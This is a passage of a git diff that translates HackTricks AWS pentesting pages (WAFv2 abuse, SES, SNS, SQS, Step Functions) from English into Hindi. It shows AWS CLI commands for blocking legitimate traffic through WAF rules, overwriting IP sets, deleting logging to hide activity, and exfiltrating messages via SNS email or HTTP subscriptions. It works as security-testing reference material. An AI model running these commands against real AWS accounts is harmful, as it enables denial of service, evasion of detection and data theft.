श्रृंखला के लिए उजागर करना। > [!NOTE] -> You can only delete the specified **WebACL** if **ManagedByFirewallManager** is false. - +> आप केवल निर्दिष्ट **WebACL** को हटा सकते हैं यदि **ManagedByFirewallManager** गलत है। ```bash # Create Web ACL aws wafv2 create-web-acl --name --default-action --visibility-config \ @@ -268,119 +259,109 @@ aws wafv2 update-web-acl --name --id --default-action -- # Delete Web ACL aws wafv2 delete-web-acl --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` +निम्नलिखित उदाहरण दिखाता है कि एक वेब ACL को कैसे अपडेट किया जाए ताकि एक विशिष्ट IP सेट से वैध ट्रैफ़िक को ब्लॉक किया जा सके। यदि मूल IP उन IPs में से किसी से मेल नहीं खाता है, तो डिफ़ॉल्ट क्रिया भी इसे ब्लॉक करना होगा, जिससे DoS होगा। -The following examples shows how to update a Web ACL to block the legitimate traffic from a specific IP set. If the origin IP does not match any of those IPs, the default action would also be blocking it, causing a DoS. - -**Original Web ACL**: - +**मूल वेब ACL**: ```json { - "WebACL": { - "Name": "AllowLegitimateIPsWebACL", - "Id": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/AllowLegitimateIPsWebACL/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "DefaultAction": { - "Allow": {} - }, - "Description": "", - "Rules": [ - { - "Name": "AllowLegitimateIPsRule", - "Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Allow": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "AllowLegitimateIPsRule" - } - } - ], - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "AllowLegitimateIPsWebACL" - }, - "Capacity": 1, - "ManagedByFirewallManager": false, - "LabelNamespace": "awswaf:123456789012:webacl:AllowLegitimateIPsWebACL:" - }, - "LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +"WebACL": { +"Name": "AllowLegitimateIPsWebACL", +"Id": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/AllowLegitimateIPsWebACL/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"DefaultAction": { +"Allow": {} +}, +"Description": "", +"Rules": [ +{ +"Name": "AllowLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Allow": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "AllowLegitimateIPsRule" +} +} +], +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "AllowLegitimateIPsWebACL" +}, +"Capacity": 1, +"ManagedByFirewallManager": false, +"LabelNamespace": "awswaf:123456789012:webacl:AllowLegitimateIPsWebACL:" +}, +"LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` - -Command to update the Web ACL: - +Web ACL को अपडेट करने के लिए कमांड: ```json aws wafv2 update-web-acl --name AllowLegitimateIPsWebACL --scope REGIONAL --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --default-action Block={} --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=AllowLegitimateIPsWebACL --rules file://rule.json --region us-east-1 ``` - -The **rule.json** file would look like: - +**rule.json** फ़ाइल इस तरह दिखेगी: ```json [ - { - "Name": "BlockLegitimateIPsRule", - "Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Block": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "BlockLegitimateIPRule" - } - } +{ +"Name": "BlockLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Block": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "BlockLegitimateIPRule" +} +} ] ``` - -**Potential Impact**: Unauthorized access, data breaches, and potential DoS attacks. +**संभावित प्रभाव**: अनधिकृत पहुंच, डेटा उल्लंघन, और संभावित DoS हमले। #### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`** -The **`wafv2:AssociateWebACL`** permission would allow an attacker to associate web ACLs (Access Control Lists) with resources, being able to bypass security controls, allowing unauthorized traffic to reach the application, potentially leading to exploits like SQL injection or cross-site scripting (XSS). Conversely, with the **`wafv2:DisassociateWebACL`** permission, the attacker could temporarily disable security protections, exposing the resources to vulnerabilities without detection. +**`wafv2:AssociateWebACL`** अनुमति एक हमलावर को वेब ACLs (एक्सेस कंट्रोल लिस्ट) को संसाधनों के साथ जोड़ने की अनुमति देगी, जिससे सुरक्षा नियंत्रणों को बायपास किया जा सकेगा, अनधिकृत ट्रैफ़िक को एप्लिकेशन तक पहुँचने की अनुमति मिलेगी, जो संभावित रूप से SQL इंजेक्शन या क्रॉस-साइट स्क्रिप्टिंग (XSS) जैसे शोषणों की ओर ले जा सकता है। इसके विपरीत, **`wafv2:DisassociateWebACL`** अनुमति के साथ, हमलावर अस्थायी रूप से सुरक्षा सुरक्षा को निष्क्रिय कर सकता है, संसाधनों को बिना पहचान के कमजोरियों के लिए उजागर कर सकता है। -The additional permissions would be needed depending on the protected resource type: +संरक्षित संसाधन प्रकार के आधार पर अतिरिक्त अनुमतियों की आवश्यकता होगी: - **Associate** - - apigateway:SetWebACL - - apprunner:AssociateWebAcl - - appsync:SetWebACL - - cognito-idp:AssociateWebACL - - ec2:AssociateVerifiedAccessInstanceWebAcl - - elasticloadbalancing:SetWebAcl +- apigateway:SetWebACL +- apprunner:AssociateWebAcl +- appsync:SetWebACL +- cognito-idp:AssociateWebACL +- ec2:AssociateVerifiedAccessInstanceWebAcl +- elasticloadbalancing:SetWebAcl - **Disassociate** - - apigateway:SetWebACL - - apprunner:DisassociateWebAcl - - appsync:SetWebACL - - cognito-idp:DisassociateWebACL - - ec2:DisassociateVerifiedAccessInstanceWebAcl - - elasticloadbalancing:SetWebAcl - +- apigateway:SetWebACL +- apprunner:DisassociateWebAcl +- appsync:SetWebACL +- cognito-idp:DisassociateWebACL +- ec2:DisassociateVerifiedAccessInstanceWebAcl +- elasticloadbalancing:SetWebAcl ```bash # Associate aws wafv2 associate-web-acl --web-acl-arn --resource-arn # Disassociate aws wafv2 disassociate-web-acl --resource-arn ``` - -**Potential Impact**: Compromised resources security, increased risk of exploitation, and potential service disruptions within AWS environments protected by AWS WAF. +**संभावित प्रभाव**: संसाधनों की सुरक्षा का समझौता, शोषण का बढ़ा हुआ जोखिम, और AWS WAF द्वारा संरक्षित AWS वातावरण में संभावित सेवा व्यवधान। #### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`** -An attacker would be able to create, update and delete the IP sets managed by AWS WAF. This could be dangerous since could create new IP sets to allow malicious traffic, modify IP sets in order to block legitimate traffic, update existing IP sets to include malicious IP addresses, remove trusted IP addresses or delete critical IP sets that are meant to protect critical resources. - +एक हमलावर AWS WAF द्वारा प्रबंधित IP सेट बनाने, अपडेट करने और हटाने में सक्षम होगा। यह खतरनाक हो सकता है क्योंकि यह दुर्भावनापूर्ण ट्रैफ़िक की अनुमति देने के लिए नए IP सेट बना सकता है, वैध ट्रैफ़िक को ब्लॉक करने के लिए IP सेट को संशोधित कर सकता है, दुर्भावनापूर्ण IP पते शामिल करने के लिए मौजूदा IP सेट को अपडेट कर सकता है, विश्वसनीय IP पते हटा सकता है या महत्वपूर्ण संसाधनों की सुरक्षा के लिए बनाए गए महत्वपूर्ण IP सेट को हटा सकता है। ```bash # Create IP set aws wafv2 create-ip-set --name --ip-address-version --addresses --scope | CLOUDFRONT --region=us-east-1> @@ -389,23 +370,19 @@ aws wafv2 update-ip-set --name --id --addresses --lock-t # Delete IP set aws wafv2 delete-ip-set --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` - -The following example shows how to **overwrite the existing IP set by the desired IP set**: - +निम्नलिखित उदाहरण दिखाता है कि **इच्छित IP सेट द्वारा मौजूदा IP सेट को कैसे ओवरराइट करें**: ```bash aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --addresses 99.99.99.99/32 --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --scope CLOUDFRONT --region us-east-1 ``` - -**Potential Impact**: Unauthorized access and block of legitimate traffic. +**संभावित प्रभाव**: अनधिकृत पहुंच और वैध ट्रैफ़िक का अवरोध। #### **`wafv2:CreateRegexPatternSet`** , **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`** -An attacker with these permissions would be able to manipulate the regular expression pattern sets used by AWS WAF to control and filter incoming traffic based on specific patterns. - -- Creating new regex patterns would help an attacker to allow harmful content -- Updating the existing patterns, an attacker would to bypass security rules -- Deleting patterns that are designed to block malicious activities could lead an attacker to the send malicious payloads and bypass the security measures. +इन अनुमतियों के साथ एक हमलावर AWS WAF द्वारा उपयोग किए जाने वाले नियमित अभिव्यक्ति पैटर्न सेट को नियंत्रित और फ़िल्टर करने के लिए हेरफेर कर सकेगा। +- नए regex पैटर्न बनाने से एक हमलावर को हानिकारक सामग्री की अनुमति मिल सकती है +- मौजूदा पैटर्न को अपडेट करने पर, एक हमलावर सुरक्षा नियमों को बायपास कर सकेगा +- उन पैटर्न को हटाने से जो दुर्भावनापूर्ण गतिविधियों को अवरुद्ध करने के लिए डिज़ाइन किए गए हैं, एक हमलावर को दुर्भावनापूर्ण पेलोड भेजने और सुरक्षा उपायों को बायपास करने की अनुमति मिल सकती है। ```bash # Create regex pattern set aws wafv2 create-regex-pattern-set --name --regular-expression-list --scope | CLOUDFRONT --region=us-east-1> [--description ] @@ -414,62 +391,51 @@ aws wafv2 update-regex-pattern-set --name --id --regular-express # Delete regex pattern set aws wafv2 delete-regex-pattern-set --name --scope | CLOUDFRONT --region=us-east-1> --id --lock-token ``` - -**Potential Impact**: Bypass security controls, allowing malicious content and potentially exposing sensitive data or disrupting services and resources protected by AWS WAF. +**संभावित प्रभाव**: सुरक्षा नियंत्रणों को बायपास करना, दुर्भावनापूर्ण सामग्री की अनुमति देना और संभावित रूप से संवेदनशील डेटा को उजागर करना या AWS WAF द्वारा संरक्षित सेवाओं और संसाधनों को बाधित करना। #### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`** -An attacker with the **`wafv2:DeleteLoggingConfiguration`** would be able to remove the logging configuration from the specified Web ACL. Subsequently, with the **`wavf2:PutLoggingConfiguration`** and **`iam:CreateServiceLinkedRole`** permissions, an attacker could create or replace logging configurations (after having deleted it) to either prevent logging altogether or redirect logs to unauthorized destinations, such as Amazon S3 buckets, Amazon CloudWatch Logs log group or an Amazon Kinesis Data Firehose under control. +एक हमलावर के पास **`wafv2:DeleteLoggingConfiguration`** होने पर वह निर्दिष्ट वेब ACL से लॉगिंग कॉन्फ़िगरेशन को हटा सकेगा। इसके बाद, **`wavf2:PutLoggingConfiguration`** और **`iam:CreateServiceLinkedRole`** अनुमतियों के साथ, एक हमलावर लॉगिंग कॉन्फ़िगरेशन बना या बदल सकता है (इसे हटाने के बाद) ताकि या तो लॉगिंग को पूरी तरह से रोका जा सके या लॉग को अनधिकृत स्थलों पर पुनर्निर्देशित किया जा सके, जैसे कि Amazon S3 बकेट, Amazon CloudWatch Logs लॉग समूह या Amazon Kinesis Data Firehose के तहत नियंत्रण। -During the creation process, the service automatically sets up the necessary permissions to allow logs to be written to the specified logging destination: +निर्माण प्रक्रिया के दौरान, सेवा स्वचालित रूप से निर्दिष्ट लॉगिंग गंतव्य पर लॉग लिखने की अनुमति देने के लिए आवश्यक अनुमतियों को सेट करती है: -- **Amazon CloudWatch Logs:** AWS WAF creates a resource policy on the designated CloudWatch Logs log group. This policy ensures that AWS WAF has the permissions required to write logs to the log group. -- **Amazon S3 Bucket:** AWS WAF creates a bucket policy on the designated S3 bucket. This policy grants AWS WAF the permissions necessary to upload logs to the specified bucket. -- **Amazon Kinesis Data Firehose:** AWS WAF creates a service-linked role specifically for interacting with Kinesis Data Firehose. This role allows AWS WAF to deliver logs to the configured Firehose stream. +- **Amazon CloudWatch Logs:** AWS WAF निर्दिष्ट CloudWatch Logs लॉग समूह पर एक संसाधन नीति बनाता है। यह नीति सुनिश्चित करती है कि AWS WAF के पास लॉग समूह में लॉग लिखने के लिए आवश्यक अनुमतियाँ हैं। +- **Amazon S3 बकेट:** AWS WAF निर्दिष्ट S3 बकेट पर एक बकेट नीति बनाता है। यह नीति AWS WAF को निर्दिष्ट बकेट में लॉग अपलोड करने के लिए आवश्यक अनुमतियाँ प्रदान करती है। +- **Amazon Kinesis Data Firehose:** AWS WAF Kinesis Data Firehose के साथ बातचीत करने के लिए विशेष रूप से एक सेवा-लिंक्ड भूमिका बनाता है। यह भूमिका AWS WAF को कॉन्फ़िगर की गई Firehose स्ट्रीम में लॉग वितरित करने की अनुमति देती है। > [!NOTE] -> It is possible to define only one logging destination per web ACL. - +> प्रत्येक वेब ACL के लिए केवल एक लॉगिंग गंतव्य को परिभाषित करना संभव है। ```bash # Put logging configuration aws wafv2 put-logging-configuration --logging-configuration # Delete logging configuration aws wafv2 delete-logging-configuration --resource-arn [--log-scope ] [--log-type ] ``` - -**Potential Impact:** Obscure visibility into security events, difficult the incident response process, and facilitate covert malicious activities within AWS WAF-protected environments. +**संभावित प्रभाव:** सुरक्षा घटनाओं में अस्पष्ट दृश्यता, घटना प्रतिक्रिया प्रक्रिया को कठिन बनाना, और AWS WAF-सुरक्षित वातावरण में गुप्त दुर्भावनापूर्ण गतिविधियों को सुविधाजनक बनाना। #### **`wafv2:DeleteAPIKey`** -An attacker with this permissions would be able to delete existing API keys, rendering the CAPTCHA ineffective and disrupting the functionality that relies on it, such as form submissions and access controls. Depending on the implementation of this CAPTCHA, this could lead either to a CAPTCHA bypass or to a DoS if the error management is not properly set in the resource. - +इस अनुमति के साथ एक हमलावर मौजूदा API कुंजियों को हटा सकता है, जिससे CAPTCHA अप्रभावी हो जाता है और इसके आधार पर कार्यक्षमता बाधित होती है, जैसे कि फॉर्म सबमिशन और एक्सेस नियंत्रण। इस CAPTCHA के कार्यान्वयन के आधार पर, यह या तो CAPTCHA बायपास की ओर ले जा सकता है या यदि संसाधन में त्रुटि प्रबंधन सही तरीके से सेट नहीं किया गया है तो DoS की ओर। ```bash # Delete API key aws wafv2 delete-api-key --api-key --scope | CLOUDFRONT --region=us-east-1> ``` - -**Potential Impact**: Disable CAPTCHA protections or disrupt application functionality, leading to security breaches and potential data theft. +**संभावित प्रभाव**: CAPTCHA सुरक्षा को निष्क्रिय करना या एप्लिकेशन की कार्यक्षमता को बाधित करना, जिससे सुरक्षा उल्लंघन और संभावित डेटा चोरी हो सकती है। #### **`wafv2:TagResource`, `wafv2:UntagResource`** -An attacker would be able to add, modify, or remove tags from AWS WAFv2 resources, such as Web ACLs, rule groups, IP sets, regex pattern sets, and logging configurations. - +एक हमलावर AWS WAFv2 संसाधनों, जैसे कि वेब ACLs, नियम समूह, IP सेट, regex पैटर्न सेट, और लॉगिंग कॉन्फ़िगरेशन से टैग जोड़ने, संशोधित करने या हटाने में सक्षम होगा। ```bash # Tag aws wafv2 tag-resource --resource-arn --tags # Untag aws wafv2 untag-resource --resource-arn --tag-keys ``` +**संभावित प्रभाव**: संसाधन छेड़छाड़, जानकारी का रिसाव, लागत हेरफेर और संचालन में बाधा। -**Potential Impact**: Resource tampering, information leakage, cost manipulation and operational disruption. - -## References +## संदर्भ - [https://www.citrusconsulting.com/aws-web-application-firewall-waf/#:\~:text=Conditions%20allow%20you%20to%20specify,user%20via%20a%20web%20application](https://www.citrusconsulting.com/aws-web-application-firewall-waf/) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md index bc6af90f1..d01ccf0b6 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md @@ -4,43 +4,38 @@ ## Basic Information -Amazon Simple Email Service (Amazon SES) is designed for **sending and receiving emails**. It enables users to send transactional, marketing, or notification emails efficiently and securely at scale. It **integrates well with other AWS services**, providing a robust solution for managing email communications for businesses of all sizes. +Amazon Simple Email Service (Amazon SES) **ईमेल भेजने और प्राप्त करने** के लिए डिज़ाइन किया गया है। यह उपयोगकर्ताओं को लेनदेन, विपणन, या सूचना ईमेल को कुशलता से और सुरक्षित रूप से बड़े पैमाने पर भेजने में सक्षम बनाता है। यह **अन्य AWS सेवाओं के साथ अच्छी तरह से एकीकृत** होता है, जो सभी आकार के व्यवसायों के लिए ईमेल संचार प्रबंधन के लिए एक मजबूत समाधान प्रदान करता है। -You need to register **identities**, which can be domains or emails addresses that will be able to interact with SES (e.g. send and receive emails). +आपको **पहचानें** पंजीकृत करने की आवश्यकता है, जो डोमेन या ईमेल पते हो सकते हैं जो SES के साथ बातचीत करने में सक्षम होंगे (जैसे, ईमेल भेजना और प्राप्त करना)। ### SMTP User -It's possible to connect to a **SMTP server of AWS to perform actions** instead of using the AWS API (or in addition). For this you need to create a user with a policy such as: - +AWS के **SMTP सर्वर से कनेक्ट करना संभव है** ताकि क्रियाएँ की जा सकें, AWS API का उपयोग करने के बजाय (या इसके अतिरिक्त)। इसके लिए आपको एक उपयोगकर्ता बनाना होगा जिसमें एक नीति हो जैसे: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "ses:SendRawEmail", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "ses:SendRawEmail", +"Resource": "*" +} +] } ``` - -Then, gather the **API key and secret** of the user and run: - +फिर, उपयोगकर्ता की **API कुंजी और गुप्त** एकत्र करें और चलाएँ: ```bash git clone https://github.com/lisenet/ses-smtp-converter.git cd ./ses-smtp-converter chmod u+x ./ses-smtp-conv.sh ./ses-smtp-conv.sh ``` - -It's also possible to do this from the AWS console web. +यह AWS कंसोल वेब से भी किया जा सकता है। ### Enumeration > [!WARNING] -> Note that SES has 2 APIs: **`ses`** and **`sesv2`**. Some actions are in both APIs and others are just in one of the two. - +> ध्यान दें कि SES के 2 APIs हैं: **`ses`** और **`sesv2`**। कुछ क्रियाएँ दोनों APIs में हैं और अन्य केवल इनमें से एक में हैं। ```bash # Get info about the SES account aws sesv2 get-account @@ -117,15 +112,10 @@ aws ses get-send-quota ## Get statistics aws ses get-send-statistics ``` - -### Post Exploitation +### पोस्ट एक्सप्लॉइटेशन {{#ref}} ../aws-post-exploitation/aws-ses-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md index cca4353cb..9472aa1ce 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md @@ -4,18 +4,17 @@ ## SNS -Amazon Simple Notification Service (Amazon SNS) is described as a **fully managed messaging service**. It supports both **application-to-application** (A2A) and **application-to-person** (A2P) communication types. +Amazon Simple Notification Service (Amazon SNS) को **पूर्ण रूप से प्रबंधित संदेश सेवा** के रूप में वर्णित किया गया है। यह **एप्लिकेशन-से-एप्लिकेशन** (A2A) और **एप्लिकेशन-से-व्यक्ति** (A2P) संचार प्रकारों का समर्थन करता है। -Key features for A2A communication include **publish/subscribe (pub/sub) mechanisms**. These mechanisms introduce **topics**, crucial for enabling high-throughput, **push-based, many-to-many messaging**. This feature is highly advantageous in scenarios that involve distributed systems, microservices, and event-driven serverless architectures. By leveraging these topics, publisher systems can efficiently distribute messages to a **wide range of subscriber systems**, facilitating a fanout messaging pattern. +A2A संचार के लिए प्रमुख विशेषताओं में **प्रकाशित/सदस्यता (pub/sub) तंत्र** शामिल हैं। ये तंत्र **विषयों** को पेश करते हैं, जो उच्च-थ्रूपुट, **पुश-आधारित, कई-से-कई संदेश भेजने** के लिए महत्वपूर्ण हैं। यह विशेषता वितरित प्रणालियों, माइक्रोसर्विसेज़, और इवेंट-ड्रिवन सर्वरलेस आर्किटेक्चर से संबंधित परिदृश्यों में अत्यधिक फायदेमंद है। इन विषयों का लाभ उठाकर, प्रकाशक प्रणालियाँ **व्यापक रूप से विभिन्न सदस्यता प्रणालियों** को संदेश वितरित कर सकती हैं, जिससे एक फैनोउट संदेश पैटर्न को सुविधाजनक बनाया जा सकता है। -### **Difference with SQS** +### **SQS के साथ अंतर** -**SQS** is a **queue-based** service that allows point-to-point communication, ensuring that messages are processed by a **single consumer**. It offers **at-least-once delivery**, supports standard and FIFO queues, and allows message retention for retries and delayed processing.\ -On the other hand, **SNS** is a **publish/subscribe-based service**, enabling **one-to-many** communication by broadcasting messages to **multiple subscribers** simultaneously. It supports **various subscription endpoints like email, SMS, Lambda functions, and HTTP/HTTPS**, and provides filtering mechanisms for targeted message delivery.\ -While both services enable decoupling between components in distributed systems, SQS focuses on queued communication, and SNS emphasizes event-driven, fan-out communication patterns. +**SQS** एक **क्यू-आधारित** सेवा है जो बिंदु-से-बिंदु संचार की अनुमति देती है, यह सुनिश्चित करते हुए कि संदेशों को **एकल उपभोक्ता** द्वारा संसाधित किया जाता है। यह **कम से कम एक बार डिलीवरी** प्रदान करता है, मानक और FIFO क्यू का समर्थन करता है, और पुनः प्रयास और विलंबित प्रसंस्करण के लिए संदेशों को बनाए रखने की अनुमति देता है।\ +दूसरी ओर, **SNS** एक **प्रकाशित/सदस्यता-आधारित सेवा** है, जो **एक-से-बहुत** संचार को सक्षम बनाती है, संदेशों को **एक साथ कई सदस्यों** को प्रसारित करके। यह **ईमेल, SMS, Lambda कार्य, और HTTP/HTTPS** जैसे विभिन्न सदस्यता अंत बिंदुओं का समर्थन करता है, और लक्षित संदेश वितरण के लिए फ़िल्टरिंग तंत्र प्रदान करता है।\ +हालांकि दोनों सेवाएँ वितरित प्रणालियों में घटकों के बीच डिकपलिंग को सक्षम बनाती हैं, SQS क्यूड संचार पर ध्यान केंद्रित करता है, और SNS इवेंट-ड्रिवन, फैनोउट संचार पैटर्न पर जोर देता है। ### **Enumeration** - ```bash # Get topics & subscriptions aws sns list-topics @@ -24,29 +23,28 @@ aws sns list-subscriptions-by-topic --topic-arn # Check privescs & post-exploitation aws sns publish --region \ - --topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \ - --message file://message.txt +--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \ +--message file://message.txt # Exfiltrate through email ## You will receive an email to confirm the subscription aws sns subscribe --region \ - --topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \ - --protocol email \ - --notification-endpoint my-email@example.com +--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \ +--protocol email \ +--notification-endpoint my-email@example.com # Exfiltrate through web server ## You will receive an initial request with a URL in the field "SubscribeURL" ## that you need to access to confirm the subscription aws sns subscribe --region \ - --protocol http \ - --notification-endpoint http:/// \ - --topic-arn +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn ``` - > [!CAUTION] -> Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used (HTTP or HTTPS cannot be used). +> ध्यान दें कि यदि **विषय FIFO प्रकार का है**, तो केवल **SQS** प्रोटोकॉल का उपयोग करने वाले सब्सक्राइबर का उपयोग किया जा सकता है (HTTP या HTTPS का उपयोग नहीं किया जा सकता)। > -> Also, even if the `--topic-arn` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region. +> इसके अलावा, भले ही `--topic-arn` में क्षेत्र शामिल हो, सुनिश्चित करें कि आप **`--region`** में सही क्षेत्र निर्दिष्ट करें, अन्यथा आपको एक त्रुटि मिलेगी जो यह संकेत करती है कि आपके पास पहुंच नहीं है, लेकिन समस्या क्षेत्र है। #### Unauthenticated Access @@ -77,7 +75,3 @@ aws sns subscribe --region \ - [https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/](https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md index 1da888587..cebed1025 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md @@ -4,10 +4,9 @@ ## SQS -Amazon Simple Queue Service (SQS) is presented as a **fully managed message queuing service**. Its main function is to assist in the scaling and decoupling of microservices, distributed systems, and serverless applications. The service is designed to remove the need for managing and operating message-oriented middleware, which can often be complex and resource-intensive. This elimination of complexity allows developers to direct their efforts towards more innovative and differentiating aspects of their work. +Amazon Simple Queue Service (SQS) को **पूर्ण रूप से प्रबंधित संदेश कतार सेवा** के रूप में प्रस्तुत किया गया है। इसका मुख्य कार्य माइक्रोसर्विसेज, वितरित प्रणालियों और सर्वरलेस अनुप्रयोगों के स्केलिंग और डिकपलिंग में सहायता करना है। यह सेवा संदेश-उन्मुख मिडलवेयर के प्रबंधन और संचालन की आवश्यकता को समाप्त करने के लिए डिज़ाइन की गई है, जो अक्सर जटिल और संसाधन-गहन हो सकता है। इस जटिलता को समाप्त करने से डेवलपर्स को अपने काम के अधिक नवोन्मेषी और भिन्नता वाले पहलुओं की ओर अपने प्रयासों को निर्देशित करने की अनुमति मिलती है। ### Enumeration - ```bash # Get queues info aws sqs list-queues @@ -18,40 +17,35 @@ aws sqs receive-message --queue-url aws sqs send-message --queue-url --message-body ``` - > [!CAUTION] -> Also, even if the `--queue-url` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region. +> इसके अलावा, यदि `--queue-url` में क्षेत्र शामिल है, तो सुनिश्चित करें कि आप **`--region`** में सही क्षेत्र निर्दिष्ट करें, अन्यथा आपको एक त्रुटि मिलेगी जो यह संकेत करती है कि आपके पास पहुंच नहीं है, लेकिन समस्या क्षेत्र है। -#### Unauthenticated Access +#### अनधिकृत पहुंच {{#ref}} ../aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md {{#endref}} -#### Privilege Escalation +#### विशेषाधिकार वृद्धि {{#ref}} ../aws-privilege-escalation/aws-sqs-privesc.md {{#endref}} -#### Post Exploitation +#### पोस्ट शोषण {{#ref}} ../aws-post-exploitation/aws-sqs-post-exploitation.md {{#endref}} -#### Persistence +#### स्थिरता {{#ref}} ../aws-persistence/aws-sqs-persistence.md {{#endref}} -## References +## संदर्भ - https://docs.aws.amazon.com/cdk/api/v2/python/aws\_cdk.aws\_sqs/README.html {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md index 873629bba..e0c9f79fc 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md @@ -4,266 +4,253 @@ ## Step Functions -AWS Step Functions is a workflow service that enables you to coordinate and orchestrate multiple AWS services into serverless workflows. By using AWS Step Functions, you can design and run workflows that connect various AWS services such as AWS Lambda, Amazon S3, Amazon DynamoDB, and many more, in a sequence of steps. This orchestration service provides a visual workflow interface and offers **state machine** capabilities, allowing you to define each step of the workflow in a declarative manner using JSON-based **Amazon States Language** (ASL). +AWS Step Functions एक वर्कफ़्लो सेवा है जो आपको कई AWS सेवाओं को सर्वरलेस वर्कफ़्लो में समन्वयित और व्यवस्थित करने की अनुमति देती है। AWS Step Functions का उपयोग करके, आप विभिन्न AWS सेवाओं जैसे AWS Lambda, Amazon S3, Amazon DynamoDB, और कई अन्य को एक क्रम में जोड़ने वाले वर्कफ़्लो को डिज़ाइन और चलाने के लिए कर सकते हैं। यह ऑर्केस्ट्रेशन सेवा एक दृश्य वर्कफ़्लो इंटरफ़ेस प्रदान करती है और **state machine** क्षमताएँ प्रदान करती है, जिससे आप JSON-आधारित **Amazon States Language** (ASL) का उपयोग करके वर्कफ़्लो के प्रत्येक चरण को एक घोषणात्मक तरीके से 